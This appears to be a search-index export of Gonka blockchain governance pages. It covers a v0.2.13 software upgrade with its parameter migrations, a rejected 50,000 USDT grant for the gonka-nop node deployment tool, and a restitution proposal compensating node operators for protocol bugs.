The release fixes confirmation PoC reward accounting, devshard escrow params, complaint-response authz grants, upstream response parsing, participant reactivation, node-manager gRPC defaults, and devshard storage growth.
The upgrade also disables confirmation PoC for the rest of the upgrade epoch so the new snapshot logic starts cleanly from the next epoch.
"}, {"location": "proposals/proposals/2026-q2/52/full-proposal/#upgrade-plan", "title": "Upgrade Plan", "text": "The node binary is upgraded through an on-chain software upgrade proposal.
The PR also updates api and node container versions in deploy/join/docker-compose.yml for hosts joining after the on-chain upgrade.
Existing hosts are not required to manually update their api or node containers as part of the chain upgrade.
The on-chain migration logic is defined in upgrades.go.
Migrations:
DevshardEscrowParams.MaxEscrowsPerEpoch to 500_000.DevshardEscrowParams.MaxNonce to 1_000_000. The previous settlement path used a hardcoded 20_000 nonce limit.GenesisOnlyParams.GenesisGuardianMultiplier to 0.33334, reducing genesis guardian power from about 34% to about 25% of adjusted voting power while early-network protection applies.0.25. Quorum is computed against total chain voting power; with genesis guardians (25%) not voting, this gives an effective 1/3 quorum among the remaining 75% of voting power (0.25 / 0.75 = 0.334).EpochGroupData.ConfirmationWeightScales for the current epoch and clamps existing confirmation weights down to the new expected value.MsgRespondDealerComplaints authz grants on existing cold-to-warm ML ops pairs. v0.2.12 added this message to the permission list but did not migrate existing grants, so DAPIs that joined before v0.2.12 could not respond to dealer complaints.UpgradeProtectionWindow of 3000 blocks. The new snapshot logic starts from the next epoch.MiniMaxAI/MiniMax-M2.7) as a governance model and PoC model config with PenaltyStartEpoch = 271 (bootstrap activation epoch).PocParams.Models[*].WeightScaleFactor to recalibrate against the Qwen-on-B200 reference after the vLLM 0.20.1 release. Kimi was too high on B* GPUs. Kimi = Qwen-on-B200 + 10% (top-tier premium), MiniMax = Qwen-on-B200:moonshotai/Kimi-K2.6): 0.78MiniMaxAI/MiniMax-M2.7): 0.3024Model.ValidationThreshold from cross-version vLLM results:Qwen/Qwen3-235B-A22B-Instruct-2507-FP8): 0.940moonshotai/Kimi-K2.6): 0.900MiniMaxAI/MiniMax-M2.7): 0.922--enable-auto-tool-choice to Kimi ModelArgs if missing.ConsecutiveInvalidInferences was not reset when a participant became ACTIVE again. A host could return from invalid state and be invalidated again after one new failure. v0.2.13 resets the counter on reactivation and upcoming promotion.DevshardEscrowParams.MaxNonce instead of a hardcoded constant.GenesisOnlyParams.GenesisGuardianMultiplier = 0.33334 and sets the chain-wide governance quorum to 0.25. Quorum is computed against total bonded power; with guardians not voting, this gives an effective 1/3 quorum among the remaining 75% of voting power (0.25 / 0.75 = 0.334).stop_reason values. Choice.StopReason now accepts any JSON type, so those responses no longer fail unmarshalling.NodeManagerGrpcPort did not start by default when unset. It now defaults to 9400, and join compose uses the same default so devshard can reach the API without manual config.epoch_id for sessions, diffs, and signatures, so pruning can drop old epoch data cleanly.Rejected
Proposal ID: 53
Type: Execute Contract
Submit: 2026-05-19 11:14 UTC
Voting: 2026-05-19 11:14 UTC → 2026-05-21 11:14 UTC
Proposer: gonka12ss9dh7fj3xxmk23s8aje4hrpqq669u20v3ja6
Metadata: https://github.com/gonka-ai/gonka/discussions/1192
Failed reason: proposal did not get enough votes to pass
$50,000 · Community PoolView on gonka.gg
"}, {"location": "proposals/proposals/2026-q2/53/#gonka-nop-grant-for-the-node-deployment-tool", "title": "Gonka NOP: grant for the node deployment tool", "text": "50,000 USDT from the CommunityPool to INC4 Full proposal: https://github.com/gonka-ai/gonka/discussions/1192
"}, {"location": "proposals/proposals/2026-q2/53/#what-it-is", "title": "What it is", "text": "gonka-nop (Node Onboarding Package) is a tool that reduces launching a Gonka node to a single command. Complex technical details are hidden inside and updated alongside the network. It is already working, open source, and in use by some operators on mainnet.
"}, {"location": "proposals/proposals/2026-q2/53/#what-the-grant-covers", "title": "What the grant covers", "text": "Today only technical specialists can launch a node. NOP removes that barrier: newcomers can join without diving into the internals, and experienced operators get a consistent foundation for their own automation.
The broader the operator set, the more resilient the network.
"}, {"location": "proposals/proposals/2026-q2/53/#terms", "title": "Terms", "text": "Repository on GitHub: https://github.com/inc4/gonka-nop Documentation: https://github.com/inc4/gonka-nop/blob/main/README.md Live walkthrough on YouTube (by Gonka.Top@Mitch): https://www.youtube.com/watch?v=1t9GEMN92Vo
"}, {"location": "proposals/proposals/2026-q2/53/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q2/53/#gonka-nop-grant-for-the-node-deployment-tool_1", "title": "Gonka NOP - grant for the node deployment tool", "text": "A CommunityPool funding request covering delivered work on gonka-nop, ongoing operator support, and continued development of the tool.
"}, {"location": "proposals/proposals/2026-q2/53/#tldr", "title": "TL;DR", "text": "INC4 proposes a 50,000 USDT allocation from the CommunityPool for gonka-nop (Node Onboarding Package), a CLI tool for deploying and maintaining Gonka nodes. The tool is already built, released under the MIT license, and in active use by some operators on mainnet — it is not a proposal to build something new, but a request to fund work that has already produced a working tool with its own users. The grant covers three areas: the work already delivered, ongoing support for NOP users, and continued development of the tool. The grant is paid in USDT rather than the native GNK token, and is structured as a single transfer without vesting or milestone tranches. There is no detailed budget breakdown and no milestone schedule: allocation of effort across the three areas remains at INC4's discretion, with the public repository serving as the basis of accountability.
"}, {"location": "proposals/proposals/2026-q2/53/#what-is-gonka-nop", "title": "What is gonka-nop", "text": "Gonka NOP is a CLI that reduces deploying a Gonka node to a single operation. The tool inspects the state of the target server, installs missing dependencies, brings up the required components in the correct order, and registers the node with the network. Gonka-specific details are encoded inside the tool and updated alongside network releases, so the operator does not have to track them release by release. This includes image versions, vLLM configuration tuned to the specific GPU model present on the host, registration parameters expected by the chain, and readiness conditions a node must satisfy before PoC and cPoC rounds. This is what separates NOP from a docker-compose bundle: it carries Gonka's operational model, not just its container set. The main deployment topologies are supported: a standalone Network Node, a combined configuration with the ML Node on the same machine, and a distributed setup with multiple ML Nodes on separate hosts behind a single Network Node.
The tool addresses two distinct audiences. For operators without deep DevOps experience, it lowers the entry barrier: renting a server with a suitable GPU and stepping through an interactive wizard is enough, with no need to work through GPU drivers, the interaction between layers, or vLLM configuration files by hand. The wizard surfaces the small set of choices an operator actually needs to make — topology, hardware profile, network endpoints — and resolves the rest from defaults that track current network requirements. For experienced administrators, the same binary provides repeatability: most prompts in the wizard have an equivalent command-line flag, the binary runs non-interactively when configuration is supplied up front, and the resulting invocations integrate cleanly into Ansible playbooks and other automation systems. The same flags drive both initial deployment and in-place upgrades, so the path from a fresh installation to a node running the latest release is the same single command across an operator's fleet. Deploying dozens of nodes ends up roughly as complex as deploying one, which matters for any operator running a fleet rather than a single instance.
Deploying a Gonka node is a multi-step process involving several heterogeneous components: GPU drivers, the container runtime, and the various Gonka components themselves. Each layer has its own requirements for versions, ports, resources, and configuration order. The interfaces between them are unforgiving — a mismatch in any one place rarely shows up during installation; it surfaces later, once the node is expected to serve PoC and cPoC rounds. Requirements also shift periodically with network releases: new models replace older ones, image tags move, vLLM parameters get retuned, additional GPU families enter the supported set, and the specific combination of versions that constitutes a valid node at any given moment is not the same combination that was valid two releases earlier. Each shift touches a different subset of layers, and the operator carries the cost of working out which subset that is.
The combination of a Cosmos SDK chain with a production ML inference stack under the same operator is uncommon. The operational knowledge needed to manage both — chain-level concerns like consensus participation and slashing, alongside infrastructure concerns like GPU memory layout and model serving — is not widely available outside specialized teams.
The cost of getting it wrong falls on the operator. Missed PoC and cPoC rounds, a lagging Network Node, or version mismatches between components can all result in lost rewards and possibly jail. Time spent diagnosing incidents does not come back. For an experienced administrator this is tractable but time-consuming. For an operator new to Cosmos SDK networks, the requirement stack is in practice impassable without external help. NOP removes that part of the workload from the operator.
"}, {"location": "proposals/proposals/2026-q2/53/#proposal", "title": "Proposal", "text": "The funding request reflects the structure of the work itself: what has already been delivered, what is needed to keep it running, and what comes next. The grant covers three corresponding areas.
Retroactive compensation for development already delivered. The current version of NOP is a working tool with an active user base among mainnet operators. INC4 took on the initial development as a contribution to the network. The retroactive portion of the grant settles that delivered work.
Support for NOP users. INC4 triages incidents, helps with diagnostics during deployment and operation, responds in DevOps chats, and ships patches and updates aligned with new Gonka releases. This workload is recurring rather than one-off — it returns each time the network changes. The grant commits INC4 to maintaining the tool under the same model.
Continued development. New capabilities, broader coverage of deployment scenarios, further reductions in the entry barrier. Concrete tasks are shaped in dialogue with operators and the Gonka core team, and tracked publicly in the repository. The proposal deliberately does not pre-commit to a feature list: priorities need to remain responsive to what the network actually requires as it evolves.
"}, {"location": "proposals/proposals/2026-q2/53/#grant-terms", "title": "Grant terms", "text": "The amount is 50,000 USDT, paid as a single transfer, without vesting and without milestone tranches. Work is conducted in the open: code, releases, the issue tracker, and the changelog all live on GitHub and are accessible to anyone — operators, the core team, and DAO participants. No additional reporting structure to the DAO is proposed: the public repository is the report. Anyone — community member, validator, or core contributor — can inspect the state of the work at any point after the grant is approved, without having to ask.
The proposal was published for community discussion in advance of this on-chain submission. The discussions remain open at:
This grant is about how easily the network can absorb new operators. Today most Gonka operators are people with the experience to deploy and run a node on their own. That works while the network grows through its core, but at some point growth runs into the entry barrier for everyone without that background. NOP removes that barrier: a new operator doesn't have to understand the internals, and an experienced operator gets the automation to manage a fleet of nodes.
The network changes with every release — new models, updated images, adjusted parameters. If the tool doesn't keep up, it quickly becomes a snapshot of the past, and the entry barrier comes back. The grant funds exactly that work: keeping NOP current release after release.
The grant covers not just the product, but the work of keeping it current. Node deployment should stay simple as the network evolves, and the infrastructure layer shouldn't become a bottleneck to growth.
In mature networks, deployment tooling is treated as part of the protocol surface rather than a side project, maintained at the same cadence as the chain — the alternative is an operator set that thins out with every upgrade, as operators who cannot keep pace with each release quietly fall behind and stop participating. A network's long-term resilience is bounded by the breadth of operators who can keep their nodes correct through change, not by how many were able to set one up in the first place.
"}, {"location": "proposals/proposals/2026-q2/53/#inc4", "title": "INC4", "text": "/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"50000000000\",\n \"recipient\": \"gonka14fxt7xlj74h54u5lz8epz0qeuhpka6xjhzsyq3\"\n }\n },\n \"funds\": []\n }\n]\nA CommunityPool funding request covering delivered work on gonka-nop, ongoing operator support, and continued development of the tool.
"}, {"location": "proposals/proposals/2026-q2/53/full-proposal/#tldr", "title": "TL;DR", "text": "INC4 proposes a 50,000 USDT allocation from the CommunityPool for gonka-nop (Node Onboarding Package), a CLI tool for deploying and maintaining Gonka nodes. The tool is already built, released under the MIT license, and in active use by some operators on mainnet — it is not a proposal to build something new, but a request to fund work that has already produced a working tool with its own users. The grant covers three areas: the work already delivered, ongoing support for NOP users, and continued development of the tool. The grant is paid in USDT rather than the native GNK token, and is structured as a single transfer without vesting or milestone tranches. There is no detailed budget breakdown and no milestone schedule: allocation of effort across the three areas remains at INC4's discretion, with the public repository serving as the basis of accountability.
"}, {"location": "proposals/proposals/2026-q2/53/full-proposal/#what-is-gonka-nop", "title": "What is gonka-nop", "text": "Gonka NOP is a CLI that reduces deploying a Gonka node to a single operation. The tool inspects the state of the target server, installs missing dependencies, brings up the required components in the correct order, and registers the node with the network. Gonka-specific details are encoded inside the tool and updated alongside network releases, so the operator does not have to track them release by release. This includes image versions, vLLM configuration tuned to the specific GPU model present on the host, registration parameters expected by the chain, and readiness conditions a node must satisfy before PoC and cPoC rounds. This is what separates NOP from a docker-compose bundle: it carries Gonka's operational model, not just its container set. The main deployment topologies are supported: a standalone Network Node, a combined configuration with the ML Node on the same machine, and a distributed setup with multiple ML Nodes on separate hosts behind a single Network Node.
The tool addresses two distinct audiences. For operators without deep DevOps experience, it lowers the entry barrier: renting a server with a suitable GPU and stepping through an interactive wizard is enough, with no need to work through GPU drivers, the interaction between layers, or vLLM configuration files by hand. The wizard surfaces the small set of choices an operator actually needs to make — topology, hardware profile, network endpoints — and resolves the rest from defaults that track current network requirements. For experienced administrators, the same binary provides repeatability: most prompts in the wizard have an equivalent command-line flag, the binary runs non-interactively when configuration is supplied up front, and the resulting invocations integrate cleanly into Ansible playbooks and other automation systems. The same flags drive both initial deployment and in-place upgrades, so the path from a fresh installation to a node running the latest release is the same single command across an operator's fleet. Deploying dozens of nodes ends up roughly as complex as deploying one, which matters for any operator running a fleet rather than a single instance.
Deploying a Gonka node is a multi-step process involving several heterogeneous components: GPU drivers, the container runtime, and the various Gonka components themselves. Each layer has its own requirements for versions, ports, resources, and configuration order. The interfaces between them are unforgiving — a mismatch in any one place rarely shows up during installation; it surfaces later, once the node is expected to serve PoC and cPoC rounds. Requirements also shift periodically with network releases: new models replace older ones, image tags move, vLLM parameters get retuned, additional GPU families enter the supported set, and the specific combination of versions that constitutes a valid node at any given moment is not the same combination that was valid two releases earlier. Each shift touches a different subset of layers, and the operator carries the cost of working out which subset that is.
The combination of a Cosmos SDK chain with a production ML inference stack under the same operator is uncommon. The operational knowledge needed to manage both — chain-level concerns like consensus participation and slashing, alongside infrastructure concerns like GPU memory layout and model serving — is not widely available outside specialized teams.
The cost of getting it wrong falls on the operator. Missed PoC and cPoC rounds, a lagging Network Node, or version mismatches between components can all result in lost rewards and possibly jail. Time spent diagnosing incidents does not come back. For an experienced administrator this is tractable but time-consuming. For an operator new to Cosmos SDK networks, the requirement stack is in practice impassable without external help. NOP removes that part of the workload from the operator.
"}, {"location": "proposals/proposals/2026-q2/53/full-proposal/#proposal", "title": "Proposal", "text": "The funding request reflects the structure of the work itself: what has already been delivered, what is needed to keep it running, and what comes next. The grant covers three corresponding areas.
Retroactive compensation for development already delivered. The current version of NOP is a working tool with an active user base among mainnet operators. INC4 took on the initial development as a contribution to the network. The retroactive portion of the grant settles that delivered work.
Support for NOP users. INC4 triages incidents, helps with diagnostics during deployment and operation, responds in DevOps chats, and ships patches and updates aligned with new Gonka releases. This workload is recurring rather than one-off — it returns each time the network changes. The grant commits INC4 to maintaining the tool under the same model.
Continued development. New capabilities, broader coverage of deployment scenarios, further reductions in the entry barrier. Concrete tasks are shaped in dialogue with operators and the Gonka core team, and tracked publicly in the repository. The proposal deliberately does not pre-commit to a feature list: priorities need to remain responsive to what the network actually requires as it evolves.
"}, {"location": "proposals/proposals/2026-q2/53/full-proposal/#grant-terms", "title": "Grant terms", "text": "The amount is 50,000 USDT, paid as a single transfer, without vesting and without milestone tranches. Work is conducted in the open: code, releases, the issue tracker, and the changelog all live on GitHub and are accessible to anyone — operators, the core team, and DAO participants. No additional reporting structure to the DAO is proposed: the public repository is the report. Anyone — community member, validator, or core contributor — can inspect the state of the work at any point after the grant is approved, without having to ask.
The proposal was published for community discussion in advance of this on-chain submission. The discussions remain open at:
This grant is about how easily the network can absorb new operators. Today most Gonka operators are people with the experience to deploy and run a node on their own. That works while the network grows through its core, but at some point growth runs into the entry barrier for everyone without that background. NOP removes that barrier: a new operator doesn't have to understand the internals, and an experienced operator gets the automation to manage a fleet of nodes.
The network changes with every release — new models, updated images, adjusted parameters. If the tool doesn't keep up, it quickly becomes a snapshot of the past, and the entry barrier comes back. The grant funds exactly that work: keeping NOP current release after release.
The grant covers not just the product, but the work of keeping it current. Node deployment should stay simple as the network evolves, and the infrastructure layer shouldn't become a bottleneck to growth.
In mature networks, deployment tooling is treated as part of the protocol surface rather than a side project, maintained at the same cadence as the chain — the alternative is an operator set that thins out with every upgrade, as operators who cannot keep pace with each release quietly fall behind and stop participating. A network's long-term resilience is bounded by the breadth of operators who can keep their nodes correct through change, not by how many were able to set one up in the first place.
"}, {"location": "proposals/proposals/2026-q2/53/full-proposal/#inc4", "title": "INC4", "text": "Passed
Proposal ID: 54
Type: Software Upgrade
Submit: 2026-05-20 22:12 UTC
Voting: 2026-05-20 22:12 UTC → 2026-05-22 22:12 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/3f0c34f77c9b8f8c32ca5303ef3ffad23d66d5ea/proposals/governance-artifacts/update-v0.2.13/README.md
View on gonka.gg
Upgrade Proposal: v0.2.13
"}, {"location": "proposals/proposals/2026-q2/54/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q2/54/#upgrade-proposal-v0213", "title": "Upgrade Proposal: v0.2.13", "text": "This proposal covers the v0.2.13 microrelease.
The release fixes confirmation PoC reward accounting, devshard escrow params, complaint-response authz grants, upstream response parsing, participant reactivation, node-manager gRPC defaults, and devshard storage growth.
It also adds a guardian-controlled emergency switch for disabling devshard inference requests.
The upgrade also disables confirmation PoC for the rest of the upgrade epoch so the new snapshot logic starts cleanly from the next epoch.
"}, {"location": "proposals/proposals/2026-q2/54/#upgrade-plan", "title": "Upgrade Plan", "text": "The node binary is upgraded through an on-chain software upgrade proposal.
The PR also updates api and node container versions in deploy/join/docker-compose.yml for hosts joining after the on-chain upgrade.
Existing hosts are not required to manually update their api or node containers as part of the chain upgrade.
The on-chain migration logic is defined in upgrades.go.
Migrations:
DevshardEscrowParams.MaxEscrowsPerEpoch to 500_000.DevshardEscrowParams.MaxNonce to 1_000_000. The previous settlement path used a hardcoded 20_000 nonce limit.DevshardEscrowParams.AllowedCreatorAddresses.GenesisOnlyParams.GenesisGuardianMultiplier to 0.33334, reducing genesis guardian power from about 34% to about 25% of adjusted voting power while early-network protection applies.0.25. Quorum is computed against total chain voting power; with genesis guardians (25%) not voting, this gives an effective 1/3 quorum among the remaining 75% of voting power (0.25 / 0.75 = 0.334).EpochGroupData.ConfirmationWeightScales for the current epoch and clamps existing confirmation weights down to the new expected value.MsgRespondDealerComplaints authz grants on existing cold-to-warm ML ops pairs. v0.2.12 added this message to the permission list but did not migrate existing grants, so DAPIs that joined before v0.2.12 could not respond to dealer complaints.UpgradeProtectionWindow of 10000 blocks. The new snapshot logic starts from the next epoch.MiniMaxAI/MiniMax-M2.7) as a governance model and PoC model config with PenaltyStartEpoch = 278 (bootstrap activation epoch).PocParams.Models[*].WeightScaleFactor to recalibrate against the Qwen-on-B200 reference after the vLLM 0.20.1 release. Kimi was too high on B* GPUs. Kimi = Qwen-on-B200 + 10% (top-tier premium), MiniMax = Qwen-on-B200:moonshotai/Kimi-K2.6): 0.78MiniMaxAI/MiniMax-M2.7): 0.3024Model.ValidationThreshold from cross-version vLLM results:Qwen/Qwen3-235B-A22B-Instruct-2507-FP8): 0.940moonshotai/Kimi-K2.6): 0.900MiniMaxAI/MiniMax-M2.7): 0.922--enable-auto-tool-choice to Kimi ModelArgs if missing.ConsecutiveInvalidInferences was not reset when a participant became ACTIVE again. A host could return from invalid state and be invalidated again after one new failure. v0.2.13 resets the counter on reactivation and upcoming promotion.DevshardEscrowParams.MaxNonce instead of a hardcoded constant.GenesisOnlyParams.GenesisGuardianMultiplier = 0.33334 and sets the chain-wide governance quorum to 0.25. Quorum is computed against total bonded power; with guardians not voting, this gives an effective 1/3 quorum among the remaining 75% of voting power (0.25 / 0.75 = 0.334).MsgSetDevshardRequestsEnabled, a guardian-signed transaction for emergency disabling and re-enabling devshard inference requests.stop_reason values. Choice.StopReason now accepts any JSON type, so those responses no longer fail unmarshalling.NodeManagerGrpcPort did not start by default when unset. It now defaults to 9400, and join compose uses the same default so devshard can reach the API without manual config.epoch_id for sessions, diffs, and signatures, so pruning can drop old epoch data cleanly./cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.13\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"4267300\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13/inferenced-amd64.zip?checksum=sha256:ea7dea6c4e8d96ed61005bed196768cc9f44e5fb17f0714cb64d1d00a485be0c\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13/decentralized-api-amd64.zip?checksum=sha256:cf31fa4d715e721d1e17b7e2b46d628a0b66b6ef603d352d587abe1d57c40925\\\"\\n },\\n \\\"ethereum_bridge_address\\\": \\\"0x972a7a92d92796a98801a8818bcf91f1648f2f68\\\",\\n \\\"wrapped_token_code_id\\\": 105\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis proposal covers the v0.2.13 microrelease.
The release fixes confirmation PoC reward accounting, devshard escrow params, complaint-response authz grants, upstream response parsing, participant reactivation, node-manager gRPC defaults, and devshard storage growth.
It also adds a guardian-controlled emergency switch for disabling devshard inference requests.
The upgrade also disables confirmation PoC for the rest of the upgrade epoch so the new snapshot logic starts cleanly from the next epoch.
"}, {"location": "proposals/proposals/2026-q2/54/full-proposal/#upgrade-plan", "title": "Upgrade Plan", "text": "The node binary is upgraded through an on-chain software upgrade proposal.
The PR also updates api and node container versions in deploy/join/docker-compose.yml for hosts joining after the on-chain upgrade.
Existing hosts are not required to manually update their api or node containers as part of the chain upgrade.
The on-chain migration logic is defined in upgrades.go.
Migrations:
DevshardEscrowParams.MaxEscrowsPerEpoch to 500_000.DevshardEscrowParams.MaxNonce to 1_000_000. The previous settlement path used a hardcoded 20_000 nonce limit.DevshardEscrowParams.AllowedCreatorAddresses.GenesisOnlyParams.GenesisGuardianMultiplier to 0.33334, reducing genesis guardian power from about 34% to about 25% of adjusted voting power while early-network protection applies.0.25. Quorum is computed against total chain voting power; with genesis guardians (25%) not voting, this gives an effective 1/3 quorum among the remaining 75% of voting power (0.25 / 0.75 = 0.334).EpochGroupData.ConfirmationWeightScales for the current epoch and clamps existing confirmation weights down to the new expected value.MsgRespondDealerComplaints authz grants on existing cold-to-warm ML ops pairs. v0.2.12 added this message to the permission list but did not migrate existing grants, so DAPIs that joined before v0.2.12 could not respond to dealer complaints.UpgradeProtectionWindow of 10000 blocks. The new snapshot logic starts from the next epoch.MiniMaxAI/MiniMax-M2.7) as a governance model and PoC model config with PenaltyStartEpoch = 278 (bootstrap activation epoch).PocParams.Models[*].WeightScaleFactor to recalibrate against the Qwen-on-B200 reference after the vLLM 0.20.1 release. Kimi was too high on B* GPUs. Kimi = Qwen-on-B200 + 10% (top-tier premium), MiniMax = Qwen-on-B200:moonshotai/Kimi-K2.6): 0.78MiniMaxAI/MiniMax-M2.7): 0.3024Model.ValidationThreshold from cross-version vLLM results:Qwen/Qwen3-235B-A22B-Instruct-2507-FP8): 0.940moonshotai/Kimi-K2.6): 0.900MiniMaxAI/MiniMax-M2.7): 0.922--enable-auto-tool-choice to Kimi ModelArgs if missing.ConsecutiveInvalidInferences was not reset when a participant became ACTIVE again. A host could return from invalid state and be invalidated again after one new failure. v0.2.13 resets the counter on reactivation and upcoming promotion.DevshardEscrowParams.MaxNonce instead of a hardcoded constant.GenesisOnlyParams.GenesisGuardianMultiplier = 0.33334 and sets the chain-wide governance quorum to 0.25. Quorum is computed against total bonded power; with guardians not voting, this gives an effective 1/3 quorum among the remaining 75% of voting power (0.25 / 0.75 = 0.334).MsgSetDevshardRequestsEnabled, a guardian-signed transaction for emergency disabling and re-enabling devshard inference requests.stop_reason values. Choice.StopReason now accepts any JSON type, so those responses no longer fail unmarshalling.NodeManagerGrpcPort did not start by default when unset. It now defaults to 9400, and join compose uses the same default so devshard can reach the API without manual config.epoch_id for sessions, diffs, and signatures, so pruning can drop old epoch data cleanly.Passed
Proposal ID: 55
Type: Batch Transfer With Vesting, Community Pool Spend
Submit: 2026-05-21 16:18 UTC
Voting: 2026-05-21 16:18 UTC → 2026-05-23 16:18 UTC
Proposer: gonka197hqnwcl30x4js3egvaujjmfknlxy7rmfw3y6k
Metadata: https://github.com/votkon/grc-proposal-2
39,722 GNK · Community Pool · 306,307 GNK · Gov ModuleView on gonka.gg
Distribute restitution for Cases 2, 3, and 4 across epochs 248-254. Case 2: preserver weight double-scaling bug (epochs 249-253). Case 3: epoch loss restitution: broad epoch losses, consecutive failures restriction, and remaining delta (epochs 248, 249, 250). Case 4: API startup blocking issue (epoch 254). Total: 306,307.29 GNK to 90 addresses. Bounties: 39,722.20 GNK to 4 addresses.
"}, {"location": "proposals/proposals/2026-q2/55/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →GRC Proposal #2
Overview
This is the second restitution proposal from the Gonka Restitution Committee (GRC). It is also the largest proposal to date, covering 3 accepted restitution cases across multiple epochs — compared to a single case in the previous proposal.
GRC has recently refreshed its membership: the committee now includes developers from Gonka Labs and Inc4, broadening technical expertise and validation capacity.
New this proposal: before submission, GRC piloted a structured AI interview process — an idea contributed by someone who chose to remain anonymous. The interview covers purpose, cost, stakeholder impact, and risks. This is the first run, conducted for MVP purposes to test the format and prompt before rolling it out more broadly.
Interview block: https://blocks.gonka.gg/blocks/admin/gonka-governance-interview
This proposal's interview: https://blocks.gonka.gg/c/cmpfmwlvh007rsau9qc7sxm3u
Interviewer prompt: https://github.com/votkon/gonka-proposal-interview/blob/main/interviewer-prompt.txt
The full transcript is available at the interview link above. We invite everyone to use this in their own proposals and share feedback on this first iteration.
Cases
Case 1 — Epoch 247: Inactive Status Mid-Epoch (Rejected)
Original definition: Hosts who had POC_SLOT=true in epoch 247 before the upgrade had confirmationWeight=0 in that epoch, leading to lowered or zeroed rewards for epoch 247.
Nine participants served inferences with low miss rates (≤ 3.1%) but received zero rewards in epoch 247 after their status flipped from ACTIVE to INACTIVE during the epoch. A restitution case was filed based on the traffic they served.
After investigation, validators were unable to establish a clear and reproducible causal link between the claimed mechanism and the observed reward outcomes. The victim list selection logic could not be verified against on-chain data, and similar-looking cases not included in the list raised further questions. The case was rejected for insufficient proof of a defined protocol-level issue.
Case 2 — Epochs 249–253: Preserver Weight Double-Scaling Bug
Original definition: MLNodes sampled as preserver nodes in epoch 247 (and potentially the following epoch until their first PoC) had their weight incorrectly scaled to approximately 35% of the full weight.
Status: Accepted | 30,318.50 GNK | Source
Following the v0.2.12 network upgrade, nodes in the Qwen subgroup that were sampled as preserved nodes had their MLNodeInfo.PocWeight stored in pre-scaled units. Post-upgrade code treated these stale values as raw nonces and re-applied the WeightScaleFactor (≈0.36), causing double-scaling. Affected nodes had their consensus weight reduced to approximately 36% of the intended level for every epoch in which they remained \"stuck\" — until they re-ran a fresh Proof of Compute (PoC) validation.
This resulted in proportionally reduced PoC rewards across multiple epochs. 34 (participant, node) pairs were identified. The fix (PR #1089) introduced episode-scoped preservation and refined reward logic.
Case 3 — Epochs 248, 249 & 250: Epoch Loss Restitution
Original definition: Hosts invalidated with reason consecutive_failures in epoch N cannot participate in further epochs because the status is not reset. Only epoch N+1 should be considered for restitution to avoid abuse. Epochs 250 and beyond are out of scope as the issue became known.
Status: Accepted | 217,612.83 GNK
This case consolidates four related restitution packages covering abnormal reward losses across epochs 248, 249, and 250. All packages use source_overrides.json as the authoritative deduplication layer — amounts already covered by another package are marked external_proposed and excluded, so there is no double-counting across sub-packages or with Case 2.
Epoch 248 — Broad epoch loss (118,204.04 GNK) | Source Analysis revealed abnormally high loss rates: 63 of 95 participants (66%) received no or reduced rewards, accounting for 41% of the epoch's total reward pool. Multiple failure categories contributed — failed confirmation PoC, consecutive failures, statistical invalidations, and confirmation weight reductions. Given the scale and statistical significance of the loss, full restitution of all unrecovered losses was approved.
Epoch 249 — Consecutive failures restriction (63,391.60 GNK) | Source Three participants invalidated by the consecutive_failures mechanism remained blocked from reward eligibility in epoch 249 beyond the intended scope of the restriction. Their invalidation status persisted when it should have resolved, causing complete reward exclusion for that epoch.
Epoch 249 — Remaining delta for Case 2 victims (24,597.79 GNK) | Source Several participants affected by the Case 2 double-scaling bug suffered losses greater than what the 0.35x formula alone covers — where the weight bug compounded with a confirmation failure, resulting in zero reward for the epoch rather than just a reduced one. This package covers the remaining unpaid delta after Case 2 restitution is applied.
Epoch 250 — Broad epoch loss, net of Case 2 and Case 3a (11,419.41 GNK) | Source 34 of 71 participants (48%) experienced losses in epoch 250. Amounts already covered by Case 2 or the consecutive failures package are excluded per-address via source_overrides.
Case 4 — Epoch 254: API Startup Blocking Issue
Original definition: Unexpected API startup behavior caused nodes to be unavailable during epoch 254 CPoC rounds, resulting in zero rewards for affected participants.
Status: Accepted | 58,375.96 GNK | Source
Version v0.2.12-api-post2 was released between CPoC 1 and CPoC 2 (Confirmation Proof of Compute rounds) of epoch 254. This version introduced a blocking devshard migration on API startup, causing servers to be unavailable for up to 20 minutes after a container restart. Participants who applied the update promptly after CPoC 1 — as expected — had their API offline during CPoC 2, resulting in failed confirmations and zero rewards for the epoch despite passing CPoC 1.
The root fix (parallel devshard loading) shipped in v0.2.12-api-post3 only after the epoch had completed. 14 addresses qualified for restitution based on demonstrated CPoC 1 passage and confirmed epoch-end failure.
Summary
Case Description Epochs Status GNK
1 Inactive status mid-epoch 247 Rejected —
2 Preserver weight double-scaling 249–253 Accepted 30,318.50
3 Epoch loss restitution (broad + consecutive failures + remaining delta) 248, 249, 250 Accepted 217,612.83
4 API startup blocking issue 254 Accepted 58,375.96
Total 306,307.29 GNK
Bounties
Bounty rates: case investigation — 4,500 GNK | case validation — 2,187.50 GNK | proposal coordination — 4,222.20 GNK
Address Roles GNK
gonka14fxt7xlj74h54u5lz8epz0qeuhpka6xjhzsyq3 Case 1 investigator 4,500.00
